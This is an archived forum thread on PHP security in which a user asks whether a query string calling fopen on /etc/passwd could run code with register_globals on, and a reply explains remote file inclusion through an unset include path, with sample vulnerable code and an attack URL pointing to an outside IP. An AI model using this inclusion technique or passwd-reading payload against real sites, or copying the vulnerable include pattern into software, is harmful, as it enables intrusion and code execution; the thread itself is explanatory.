By using this site, you agree to our updated Privacy Policy and our Terms of Use. Manage your Cookies Settings.
458,183 Members | 1,328 Online
Bytes IT Community
+ Ask a Question
Need help? Post your question and get tips & solutions from a community of 458,183 IT Pros & Developers. It's quick & easy.

Php query string security

P: n/a
Hi was asking some questions about this in alt.php but some didn't get answered.
Yes I have read an awful lot now about php security and different advisories
and Idon't mind being called a competely dimwit but I still don't understand
what prevents this from happening if register_globals is ON:

http://www.mywebsite.com/anypage.php?firststep = fopen ("../etc/passwd", "r");&secondstep=fread($firststep,filesize("../etc/passwd"));

I can't seem to get this or any variations on the above to work inlcuding someting
like thirdstep = print $secondstep , but theoretically it should work shouldn't
it ?

Really my question is not about the above specifiically but it is about this:

Say you have a script which uses no variables, say it just echos 'hello' and
thats all it does, literally:

<?php
echo "hello";
?>

No variables, no include, or file or anything done by the user. Just echo hello
and exit. Nothing else. Is it possible in that scenario to run arbitray code
by doing something like I was describing about with etc/passwd ?

Please advise because this is still not clear.

Thank you for your help with these questions
Simon


Jul 17 '05 #1
Share this Question
Share on Google+
3 Replies


P: n/a
Simon Hadler <no****@nospam.ns> shot from the breach towards his
enemies, screaming forth the battle cry:
http://www.mywebsite.com/anypage.php?firststep = fopen
("../etc/passwd",
"r");&secondstep=fread($firststep,filesize("../etc/passwd"));


That would'nt work unless you were dumb enough to run your GET input
through eval()

--
Phil Roberts | Dork Pretending To Be Hard | http://www.flatnet.net/
Jul 17 '05 #2

P: n/a
"Simon Hadler" <no****@nospam.ns> wrote in message
news:85**********************@anonymous.poster...
Hi was asking some questions about this in alt.php but some didn't get answered. Yes I have read an awful lot now about php security and different advisories and Idon't mind being called a competely dimwit but I still don't understand what prevents this from happening if register_globals is ON:

http://www.mywebsite.com/anypage.php?firststep = fopen ("../etc/passwd", "r");&secondstep=fread($firststep,filesize("../etc/passwd"));
I can't seem to get this or any variations on the above to work inlcuding someting like thirdstep = print $secondstep , but theoretically it should work shouldn't it ?


Nope, that will never work. All it does is print out the text
'fopen("../etc/passwd", "r");'.

It's worth remembering that register_globals isn't insecure on its own.
Vulnerabilities related to the feature usually involves poor use of
include/require (lameass single entry point design and such like). Here's an
example:

main.php:

<?php

include("$DOCUMENT_ROOT/config.php");
include("$SKIN_PATH/header.php");
include("$SKIN_PATH/$action.php");
include("$SKIN_PATH/footer.php");

?>

Every page in this hypothetical site is handled through main.php. Depending
on what the GET parameter "action" is set to, different content appear
(within the same page frame). This application supports mutliple "skins". By
changing $SKIN_PATH in config.php, you can change the entire appearance of
the site. So far so good. Now, in product.php ("product" is one possible
value of $action) another file is included:

product.php:

[ ... stuff ... ]
include("$SKIN_PATH/shopping_cart.php");
[ ... more stuff ... ]
This introduces a vulnerability permitting arbituary code execution, because
if I pass SKIN_PATH in the URL, and I access product.php directly, then I
can get the script to include a remote file:

http://www.viagra4cats.com/patriotic...//123.14.123.9

Since I am bypassing main.php, config.php never gets included, so $SKIN_PATH
won't get set and the value from the URL is employed in the include
statement. In this case, http://123.14.123.9/shopping_cart.php would be
loaded and executed.

As you can see, the vulnerability occurs in a quite complicated setup. And
people who write unnessesarily complicated code, who overdesign software,
are usually not security conscious. "Complexity is the enemy of security" to
quote Bruce Schneider. When you combine large codebases, feature bloat, and
people who don't care, the end result is--predictably--insecure PHP
applications. While register_globals is the enabling mechanism, it's not the
cause of the insecurity, and the bad rap that it carries is in my opinion
entirely undeserved.
Jul 17 '05 #3

P: n/a
In article <KP********************@comcast.com>, Chung Leong <ch***********@hotmail.com>
wrote:
Nope, that will never work. All it does is print out the text
'fopen("../etc/passwd", "r");'.
Well thank you Chung and Phil for your help. I think I kind of slowly realised
afterwards it is still just a meaningless string, until something is done with
it as you and Phil say...

And thanks for detailed example Chung, appreciate it. From what I can understand
and from reading security sites it is amazing another huge batch of vulnerabilities
seems to appear in familar PHP apps everyday along the lines you describe.

Also as I understand always check user input...never trust it, I guess I just
had this notion that it might be possible to execute any code somehow that
I hadn't thought of yet
As you can see, the vulnerability occurs in a quite complicated setup. And
people who write unnessesarily complicated code, who overdesign software,
are usually not security conscious. "Complexity is the enemy of security" to quote Bruce Schneider. When you combine large codebases, feature bloat, and
people who don't care, the end result is--predictably--insecure PHP
applications. While register_globals is the enabling mechanism, it's not the cause of the insecurity, and the bad rap that it carries is in my opinion
entirely undeserved.


Fair enough and thanks again

Simon

Jul 17 '05 #4

This discussion thread is closed

Replies have been disabled for this discussion.